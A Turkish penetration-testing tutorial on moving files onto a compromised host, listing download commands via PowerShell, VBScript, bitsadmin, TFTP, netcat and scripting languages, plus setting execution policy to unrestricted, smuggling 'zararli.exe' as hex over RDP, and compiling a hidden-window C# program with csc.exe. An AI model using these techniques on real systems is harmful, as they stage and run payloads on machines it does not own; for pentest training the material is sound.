Sızma Testlerinde Uzak Sisteme Dosya Aktarma Teknikleri
Sızma testlerinde hedef sistemin komut satırını ele geçirdiğiniz durumlarda hedef sisteme dosya aktarmak ve çalıştırmak için bazı pratik komutlara ihtiyacınız olacaktır.
Windows/Linux /*ni vb. sistemlerde hali hazırda kurulu gelen uygulamalar üzerinden aşağıdaki teknikleri kullanarak dosya aktarımı gerçekleştirebilirsiniz.
Hedef Makinanın Windows Olduğu Senaryolar
PowerShell ile dosya indirmek
Powershell Microsoft’un Windows tabanlı işletim sistemlerinde kullanılması için çıkardığı bir komut satırıdır. Bu güne dek Microsoft’un çıkartmış olduğu ürünlerin büyük bir kısmı grafiksel bir arayüzden yönetilmekteydi. Ancak Server 2008’in kullanıma sunulmasıyla beraber Linux ve Unix tabanlı işletim sistemlerinde görülmeye alışkın olunan komut satırı artık Windows işletim sistemlerinde de mevcut hale geldi. Aşağıdaki örnekte basit bir script ile powershell kullanarak uzaktaki bir dosyanın nasıl indirebileceğini göreceksiniz.
Bu scripti bir dosyaya yazıp;
$p = New-Object System.Net.WebClient
$p.DownloadFile(“http://domain.com/deneme.txt” “C:\Users\Username\Desktop\deneme.txt”)
Scripti çalıştırmak için gereken komutu girelim.
PS C:\> .\bga.ps1
Bazı kullanıcılar için powershell çalıştırma yetkileri kısıtlanmış olabilir. Dolayısıyla çalıştırmayı denediğinizde hata alabilirsiniz. Bu gibi durumlarda aşağıdaki komutu kullanarak çalıştırma yetkisini alabilirsiniz.
C:\>powershell set-executionpolicy unrestricted
Visual Basic ile dosya indirmek
Visual Basic final sürümü olarak 1998 yılından itibaren Windows işletim sistemlerinde standart olarak yüklü gelmektedir. Aşağıdaki script ile belirtmiş olduğunuz dosyayı indirebilirsiniz. Script çıktısı powershell e nazaran biraz daha büyük.
Set args = Wscript.Arguments
Url = “http://domain.com/deneme.txt”
dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”)
dim bStrm: Set bStrm = createobject(“Adodb.Stream”)
xHttp.Open “GET”, Url, False
xHttp.Send
with bStrm
.type = 1 ‘
.open
.write xHttp.responseBody
.savetofile ” C:\Users\Username\Desktop\deneme.txt”, 2 ‘
end with
İçeriği bir dosyaya kaydettikten sonra komut satırında aşağıdaki komutu girerek scripti çalıştırabilirsiniz.
C:\>cscript bga.vbs
TFTP ile dosya indirmek
TFTP (Trivial FTP) Windows Vista ve daha önceki sürümlerde standart olarak yüklüdür. Ancak uyumlu sunucu ile yapılandırmanız gerekmektedir. Bunun için komut satırına aşağıdaki komutu girmeniz gerekmektedir.
tftp -i host GET C:\Users\Username\Desktop\deneme.txt tftp_sunucusundaki_dosyanin_yeri
Bitsadmin ile dosya indirmek
Bitsadmin Windows için geliştirilmiş, komut satırından çalışan dosya indirme-gönderme görevleri oluşturmanızı sağlayan bir araçtır. Kullanmak için komut satırına aşağıdaki komutu girmeniz gerekmektedir.
bitsadmin /transfer n http://domain.com/deneme.txt c:\Users\Username\Desktop\deneme.txt
Windows Paylaş ile dosya indirmek
Windowsta paylaşılan klasörler uzakta bağlanılabilir. Bağlayıp sürücü harfi atandıktan sonra sürücü içeriği komutlar ile kopyalanabilir.
Uzaktaki sürücüyü bağlamak için aşağıdaki komutu girmeniz yeterlidir.
net use x: \\127.0.0.1\paylasim /kullanici:domain.com\KullaniciID kullaniciparolasi
PowerShell ve Nishang ile Exe’den Txt’ye, Txt’den Exe’ye
Nishang exe uzantılı dosyayı hex koduna çevirebilmemize olanak sağlıyor. Daha sonra PowerShell ile hex’i tekrar orijinal exe’ye dönüştürebiliyoruz. Karşılaşmış olduğumuz makinalarda Uzak Masaüstü Bağlantısında exe transferi gerçekleştirilemeyen durumlar oluyordu. Bu, temel düzeyde koruma sağlıyor olsa da kopyalanan içeriği önbelleğe alıp aktarma işlemini gerçekleştirebiliyoruz. Bu şekilde bir senaryo ile karşı karşıya olduğumuz durumlarda Nishang ile aktarmak istediğimiz exe’yi hex’e çevirip bunu uzaktaki makinaya kopyaladıktan sonra .ps1 uzantılı olarak kaydediyoruz. Kopyalamamız gereken nishang scripti TexttoExe.ps1 ve sadece 8 satır uzunluğunda. Nishang i buradan indirebilirsiniz.
Exe’den Hex’e çevirmek için aşağıdaki kodu kullanabilirsiniz.
PS > .\ExetoText.ps1 zararli.exe zararli.txt
İşlem sonrasında zararli.txt dosyasını açıp içeriğini kopyalıyoruz. Daha sonra uzak masaüstü bağlantısı aracılığıyla uzaktaki makinada yapıştırıyoruz. Aynı işlemi TexttoExe.ps1 nishang scripti içinde uygulamamız gerekiyor.
Hex dosyasını tekrar exe’ye çevirmek için aşağıdaki komutu kullanmamız yeterli.
PS > .\TexttoExe.ps1 zararli.text zararli.exe
Bu işlem sonrasında zararli.exe dosyamız başarıyla uzaktaki makinamıza aktarılmış oluyor.
Csc.exe ile Kaynak Koddan dosya derlemek
Csc (C sharp derleyicisi) komut satırı üzerinden çalışan bir derleyicidir. Microsoft .NET içerisinde bulunur ve Windows ile birlikte yüklü olarak gelir. Metin kopyalayabiliyor fakat çalıştırılabilir bir dosya kopyalayamıyor olduğunuz durumlarda bu yöntem işinize yarayabilir. Bu yöntem SQL Injection ile birlikte kullanıldığında izin verilmiş proxye ihtiyacınız olmadan exe dosyasını kopyalayabilirsiniz.
Csc.exe’nin varsayılan olarak bulunduğu dizin;
C:\Windows\Microsoft.NET\Framework\version
Aşağıdaki örnek kodumuzda derlenmiş exe, cmd.exe kullanarak yerel bilgisayardaki kullanıcıları sorgulayacak ve sonrasında C:\Temp dizinine kullanicilar.txt dosyası oluşturup çıktıyı bu dosyaya yazdıracak. Bu örnekte çok basit bir sorgulama yapılmış olsada, bu yöntem ile kendi kodunuzu yazabilir, exploitinizi çalıştırabilirsiniz.
public class Evil
{
public static void Main()
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = “cmd.exe”;
startInfo.Arguments = “/C net users > C:\\Temp\\kullanicilar.txt”;
process.StartInfo = startInfo;
process.Start();
}
}
Kaynak kodu derlemek için;
csc.exe /out:C:\zararli\zararli.exe C:\zararli\zararli.cs
Hedef Makinanın Linux ve Türevi Olduğu Senaryolar
Perl ile dosya indirmek
Perl hemen hemen herşey için kullanılabilen çok yönlü bir betik dilidir. Perl kullanarak kolay ve hızlıca uzaktaki bir dosyayı indirebilirsiniz.
#!/usr/bin/perl
use LWP::Simple;
getstore(“http://domain.com/deneme.txt”, “deneme.txt”);
Perl scriptini çalıştırmak için komut satırına aşağıdaki komutu girmeniz yeterlidir.
[email protected]:~# perl bga.pl
Pyton ile dosya indirmek
Python kodu okunabilirliği vurgulayan genel amaçlı bir betik dilidir. Basit sözdizimi yapısı sayesinde yapılmak istenen iş için en az kod kullanmayı hedeflemektedir. Aşağıdaki pyton kodunu kullanarak dosya indirmeyi sağlayabilirsiniz.
#!/usr/bin/python
import urllib2
u = urllib2.urlopen(‘http://domain.com/deneme.txt’)
localFile = open(‘local_file’, ‘w’)
localFile.write(u.read())
localFile.close()
Aşağıdaki kod ile pyton scriptini çalıştırabilirsiniz.
[email protected]:~# python bga.py
Ruby ile dosya indirmek
Ruby geliştiricilerinin söylediğine göre, Verimlilik ve sadelik üzerine odaklanmış, açık kaynak kodlu dinamik bir dildir. Okumayı ve yazmayı kolaylaştıran, doğal bir sözdizimine sahiptir. Ruby’nin en göze çarpan özelliği nesne tabanlı olması ve bu sayede bir çok yapı ile (örn. Metasploit) birlikte kullanılabilmesidir.
#!/usr/bin/ruby
require ‘net/http’
Net::HTTP.start(“www.domain.com”) { |http|
r = http.get(“/file”)
open(“save_location”, “wb”) { |file|
file.write(r.body)
}
}
Ruby scriptini çalıştırmak için aşağıdaki kodu komut satırına yazmanız yeterlidir.
[email protected]:~# ruby bga.rb
Php ile dosya indirmek
PHP genellikle sunucu tabanlı web programlama için kullanılsa da ihtiyaç olması durumunda basit bir script ile dosya indirme işlemi de yapabilirsiniz.
#!/usr/bin/php
<?php
$data = @file(“http://domain.com/deneme.txt”);
$lf = “local_file”;
$fh = fopen($lf, ‘w’);
fwrite($fh, $data[0]);
fclose($fh);
?>
Çalıştırmak için komutu yazmanız yeterlidir.
[email protected]:~# php bga.php
Genellikle php ile dosya indirmelerde herhangi bir kısıtlama ile karşılaşmazsınız. Ancak bu tarz durumlarda 1-2 farklı adım ile bypass edilebilecek senaryolar geliştirebilirsiniz.
FTP ile dosya indirmek
Ftp ile dosya indirme işlemi yapılabilmesi için ECHO komutuyla bir bash script hazırlayıp kolayca işleminizi tamamlayabilirsiniz.
ftp 127.0.0.1
username
password
get file
exit
Wget ile dosya indirmek
Wget, Linux ve Windows tabanında etkileşimsiz indirme yapılmasına olanak sağlayan bir araçtır. Kullanımı çok basittir.
wget http://domain.com/deneme.txt
Netcat ile dosya indirmek
Netcat belirlenmiş bir port üzerinden dosya aktarımını destekler. Ancak bu örneğin Linux’a özel olduğunu unutmayın.
cat file | nc -l 1234
Bu komut localhostta 1234 portunu dinlemeye dosya içeriğini alıp ekrana yazdıracaktır. Daha sonra 1234 portuna bağlanıldığında dosyayı gönderecektir.
Alttaki komut ise hedef makinada çalıştırıldığında sizin dinlemeye aldığınız 1234 portuna bağlanıp dosya gönderimi tamamlanacaktır.
nc host_ip 1234 > deneme.txt
Perl, Python ve Ruby ile Windows sistemlerde dosta aktarımı mümkün, ancak öncesinde kurulmuş olması gerektiğinden Windows kategorisine eklemedim. Aynı şekilde wget başlığı altında her ne kadar Windows desteği olduğunu belirtmiş olsamda wget’in de daha önceden kurulmuş olması gereklidir.
Kaynak:
https://www.netspi.com/blog/entryid/231/15-ways-to-download-a-file
Yazar: Onur KOLAY
[email protected]
Sitenizi yeni takip etmeye başladım ve cok güzel bilgiler ve anlatımlar bulunmakta. Basarilarinizin devamını diliyorum. Bilmediğim windows toollari varmis ,öğrenmiş oldum.Tesekkurler